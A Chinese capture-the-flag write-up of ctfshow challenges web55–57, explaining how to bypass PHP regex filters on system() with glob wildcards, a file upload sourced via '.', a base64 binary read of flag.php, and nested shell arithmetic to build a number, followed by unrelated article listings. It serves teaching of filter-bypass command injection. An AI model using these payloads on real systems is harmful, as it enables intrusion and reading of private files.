ctfshow之web55~web57(无字母的rce)

news2024/9/22 9:33:29

目录

web55

思路一:

思路二: 

web56

web57


本系列主要针对无字母rce或无字母无数字rce

声明:本章内容是引荐几位师傅的博客,然后根据自己的理解编写而成。

web55

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__); 
}

这里将a-z的字符都过滤掉了,这里考察的就是无字母的rce

但啥是无字母的rce呢?

php的代码执行简称RCE

RCE是Remote Command Exec(远程命令执行)和Remote Code Exec(远程代码执行)的缩写;Command指的是操作系统的命令,code指的是脚本语言(php)的代码

那么无字母想必不用过多解释了

首先这里引荐p神的blog:无字母数字webshell之提高篇 | 离别歌

构造无字母数字的rce。其中有两个主要的思路:

  1. 利用位运算
  2. 利用自增运算符

第一种方法和web41类似,但web41是eval()函数输出,而这里是执行system()命令所以第一种方法用不了

 第二种方法是自增运算,这种方法要用到$构造数字,但这里我们知道flag藏在文件flag.php里面,也用不了

操作系统里包含的最重要的两个功能就是“shell”和“文件系统”,很多木马与远控其实也只实现了这两个功能。

思路一:

在linux shell知识里面,可以用.来执行任意脚本,.或者叫period,作用和source一样,用来执行一个文件中的命令,比如,当前的shell是bash,那么.file就是用bash执行file文件中的命令

那执行的文件从哪里来呢?因此我们可以上传文件的POST包(一般php的题目都可以上传这种文件),该文件会保存在临时文件夹下,默认的目录结构是/tmp/phpXXXXXX,最后的六个字符是随机的。

但是该目录也包含字符,于是我们想到linux下的glob通配符:*/?

于是/tmp/phpXXXXXX可以写成/???/?????????

但是在Linux中这样的文件目录有很多,但都有一个共同点,都是小写字符,而只有php生成的临时文件包含大写字母,于是只要找到一个可以包含大写字母的glob通配符即可

发现所有大写字母都在@-[之间,执行ls /???/??????[@-[],这种尝试最后一个字符是大写的,如果错误,还可以尝试其他字符是大写,多尝试几次即可

POST上传包

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

我们上传的时候可以随便上传一个文件就行

抓包得到的上传结果

用.执行shell命令:?c=.%20/???/????????[@-[]

直接假设最后一个字符是大写的 

正常是用source [filename]或者. [filename]

%20表示空格,一般空格在urlencode中被写成%20或者+

补充:假设我这里直接写空格,而不是进行url编码(写成%20),就不会出来flag,因为在urldecode过程中,遇到空格,空格后面的内容就不再执行了,因为他会默认空格就是结束的标识,就像你写url内容的时候,它在urldecode过程中,如何判断结束呢,就是根据是否遇到空格,但遇到%20,它知道后面还有url的部分,就会先解码成空格,然后再解码后面的部分

 这里解释下shell(sh)和/bin/sh的关系,因为自己也是初学者(小趴菜)

Shell(简称sh)是一种命令行解释器(类似windows下的命令行),是用户与操作系统之间的接口,它接收用户输入的命令并调用相应的程序来执行。在Linux系统中,Shell是非常重要的,因为几乎所有的系统管理任务都可以通过Shell来完成。

/bin/sh这个路径中的sh文件可以理解为一个小型程序,它可以解释用户输入的命令并执行相应的操作。在Linux系统中,使用bin sh命令可以启动Shell解释器,让用户可以通过命令行来与系统进行交互。

#! /bin/sh 是指此脚本使用/bin/sh来解释执行,#!是特殊的表示符,其后面跟的是解释此脚本的shell的路径。如果脚本中没有声明,则脚本将在用户默认的shell中执行。用户默认的shell环境是在/etc/passwd中定义:比如passwd文件第一行中 root:x:0:0:root:/root:/bin/bash,最后的/bin/bash说明root用户的默认shell是/bin/bash。虽然#! /bin/sh 可有可无,所以建议就把"#!/bin/sh"当成C 语言的main函数一样,写shell必须有,以使shell程序更严密。 

找到了文件flag.php

执行cat命令

思路二: 

 除了通过POST上传文件,执行文件里面的命令外,那linux中那么多sh命令,还有没有我们可以使用的呢?答案是肯定的

/bin/base64命令

/bin/base64的主要作用是对数据进行Base64编码或解码

使用方法:/bin/base64 filename

这个命令会将filename文件的内容进行Base64编码,并将结果输出 

 因为不能出现字母,所以

payload:?c=/???/????64 ????.???

 因为这里有64,所以不会匹配到其他命令

 就将flag.php里的内容进行base64编码后输出

web56

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

比上一个题多过滤了数字,所以第二种思路pass,但第一种思路还是可以用的,这里不做过多赘述了;

web57

// 还能炫的动吗?
//flag in 36.php 
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
} 

 这里已经给出了提示:flag in 36.php

system()函数内还给出了cat和.php后缀,其实我们只需要构造出来36就可以

 在上面的web55中,我们给出主要解决无字母rce的一种方法就是利用自增运算符

而这里恰好没有把$给过滤掉,其目的也显而易见

 在linux中

$(())=0
$((~ $(()) ))=-1

 

这里演示下如何生成1

$(())  
//0

$((~$(()) 
//-1

$((~$(())))$((~$(())))
//-1-1

$(($((~$(())))$((~$(())))))
//-2

$((~$(($((~$(())))$((~$(())))))))
//1

这样一直重复嵌套就可以先得到-37,-37就是用37个$((~$(())))串在一起,然后在外面加一层$(())就可以得到

在对其取反,加一层$(())就可以得到36

 生成的payload:

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

注意:这里cat得到的flag藏在源码中

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2091068.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

.net dataexcel winform控件 更新 日志

增加 列宽度调整时动态显示列象素大小 更改列的宽度可以使用 column.Width属性进行修改

文章解读与仿真程序复现思路——电网技术@EI\CSCD\北大核心《基于双缓冲区生成对抗模仿学习的电力系统实时安全约束经济调度》

本专栏栏目提供文章与程序复现思路&#xff0c;具体已有的论文与论文源程序可翻阅本博主免费的专栏栏目《论文与完整程序》 论文与完整源程序_电网论文源程序的博客-CSDN博客https://blog.csdn.net/liang674027206/category_12531414.html 电网论文源程序-CSDN博客电网论文源…

线段树维护更多类型的信息

P3870 [TJOI2009] 开关 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn) sum维护一段区域的和&#xff1b;revers记录翻转懒信息&#xff1b; lazy&#xff1a;灯泡翻转后个数就是之前不亮的个数&#xff0c;revers变为原来的反 #include <iostream> using namespace s…

代码随想录第十九天 | 110.平衡二叉树,257. 二叉树的所有路径,404.左叶子之和,222. 完全二叉树的节点个数

110. 平衡二叉树 第一想法&#xff1a;首先要明确平衡二叉树的定义&#xff1f;左右节点的高度差不超过1&#xff1f;不会概念感觉无法下手... 返回参数返回int,为了标记已经不是平衡二叉树&#xff0c;用-1作标记 int traversal(TreeNode* root){if(rootnullptr) return 0;…

Linux_kernel烧写Uboot02

一、温故知新 1、开发环境 Ubuntu的Linux操作系统(18.04 20.04 22.04) 前面的版本号是双数&#xff0c;后面的版本号是04 lsb_release -a 用于查看系统版本号 uname -a 查看系统位数/内核版本号 2、体系架构 APP 各种控制界面\通…

数据库 变更和版本控制管理工具 --Bytebase 安装部署

数据库 变更和版本控制管理工具 --Bytebase 安装部署 文章目录 数据库 变更和版本控制管理工具 --Bytebase 安装部署前言一.Docker部署Bytebase1.Docker 配置2. pull 数据3. 执行部署4. 打开浏览器 部署完成 二、使用步骤1.注册超管2.配置 Configure External URL 总结 前言 B…

点餐收银小程序

一、项目概述 Hi&#xff0c;大家好&#xff0c;今天分享的项目是《点餐收银小程序》。 系统含管理员/商家/用户三种角色&#xff0c;商家能维护菜式类别、维护菜品信息&#xff0c;用户在小程序能够选择门店&#xff0c;查看门店下各个分类的菜式信息&#xff0c;并进行加购…

【vSphere 7/8】深入浅出 vSphere 证书 Ⅲ—— vSphere 证书的更新和替换概述

目录 摘要1. vSphere Certificate Architecture2. 证书更新和替换概述2.1更新 VMCA 签名的证书&#xff08;1&#xff09;使用 vSphere Client UI&#xff08;2&#xff09;使用 vSphere Certificate Manager 命令行工具&#xff08;自动&#xff09;&#xff08;3&#xff09;…

行业大模型元年,“有云处皆智能”的愿景还有多远?

打造新质生产力、推动高质量发展&#xff0c;已成为众多行业用户在数字经济时代的一道必答题。 今年《政府工作报告》就提出要深化大数据、人工智能等研发应用&#xff0c;开展“人工智能”行动&#xff0c;大力推进现代化产业体系建设&#xff0c;加快发展新质生产力。这其中…

IBM是中国IT界的黄埔军校

关注卢松松&#xff0c;会经常给你分享一些我的经验和观点。 我第一次听说IBM还是小的时候&#xff0c;当时很多人都说IBM是厉害&#xff0c;外号“蓝色巨人”&#xff0c;潜移默化我也知道IBM牛了。 而且当年我买的第一款笔记本电脑就是IBM的ThinkPad系列&#xff0c;花了6…

Python酷库之旅-第三方库Pandas(112)

目录 一、用法精讲 491、pandas.DataFrame.cumsum方法 491-1、语法 491-2、参数 491-3、功能 491-4、返回值 491-5、说明 491-6、用法 491-6-1、数据准备 491-6-2、代码示例 491-6-3、结果输出 492、pandas.DataFrame.describe方法 492-1、语法 492-2、参数 492…

中国书法艺术孙溟㠭浅析《平复帖》

中国书法艺术孙溟㠭浅析《平复帖》 《平复帖》是西晋文学家、书法家陆机创作的书法作品&#xff0c;纵23.8厘米、横20.5厘米&#xff0c;共九行、八十四字&#xff0c;是陆机写给久病未愈朋友的问候信札&#xff0c;因其中有“恐难平复”字样&#xff0c;故得“平复帖”之名。 …

【C++ 面试 - STL】每日 3 题(一)

✍个人博客&#xff1a;Pandaconda-CSDN博客 &#x1f4e3;专栏地址&#xff1a;http://t.csdnimg.cn/fYaBd &#x1f4da;专栏简介&#xff1a;在这个专栏中&#xff0c;我将会分享 C 面试中常见的面试题给大家~ ❤️如果有收获的话&#xff0c;欢迎点赞&#x1f44d;收藏&…

2024最新最全:【计算机自学网站】大全,零基础入门到精通,看完这一篇就够了!

分享32个鲜为人知并且完全免费的高质量自学网站&#xff0c;每个都是堪称神器&#xff0c;让你相见恨晚。 1&#xff1a;Oeasy 是一个完全免费的综合视频教程网站&#xff0c;非常良心实用。 它提供的视频教程非常丰富并且质量很高&#xff0c;包括&#xff1a;PS 教程、手机…

通过 TS-Mixer 实现股票价格预测

作者:老余捞鱼 原创不易,转载请标明出处及原作者。 写在前面的话: 最近遇到了 Time Mixer 模型,该模型以在复杂数据集上提供令人印象深刻的结果而闻名。出于好奇,我决定将其应用于我在 Kaggle 上找到的数据集,其中包含 Microsoft 的历史股票价格。在本文中,我…

盘点免费且靠谱的AI大模型 API,统一封装,任性调用!

现在做大模型&#xff0c;还有靠谱且免费的 API 接口吗? 靠谱的不免费&#xff0c;免费的不靠谱&#xff0c;鱼和熊掌不可兼得&#xff1f; 非也&#xff01; 对于简单的指令而言&#xff0c;绝大部分免费的 LLM API 还是能打的&#xff0c;本文就给大家介绍几款&#xff0…

22.缓存雪崩缓存击穿

定义 同一时段大量的缓存key同时失效或者redis服务宕机&#xff0c;导致大量请求到达数据库&#xff0c;带来巨大压力。 解决方案 1.给不同key的TTL添加随机值。 2.利用redis集群提高服务的可用性。 3.给缓存业务添加降级限流策略。 4.给业务添加多级缓存。 缓存击穿 缓…

Redis持久化方式、常见问题及解决方案

在现代电商交易系统中&#xff0c;Redis作为一种高性能的内存数据库&#xff0c;被广泛用于缓存和数据持久化。然而&#xff0c;Redis作为内存数据库&#xff0c;面临着数据持久化和数据与持久化存储如MySQL之间的一致性问题。本文将详细讲解Redis的持久化方式、常见问题及其解…

常见框架报错信息

一、报错信息&#xff08;不同类型转换&#xff09; 2024-08-28 14:57:15.450 ERROR 8272 --- [io-8080-exec-12] c.w.common.exception.RRExceptionHandler : class java.lang.String cannot be cast to class java.lang.Integer (java.lang.String and java.lang.Integer ar…

IO进程练习:请在linux 利用c语言编程实现两个线程按照顺序依次输出”ABABABAB......“

例如&#xff1a;a线程输出”A”之后b线程输出”B”&#xff0c;然后a线程输出“A”&#xff0c;再b线程输出”B”&#xff0c;之后往复循环。 【1】使用信号量实现 代码展示&#xff1a; #include <stdio.h> #include <pthread.h> #include <string.h> #inc…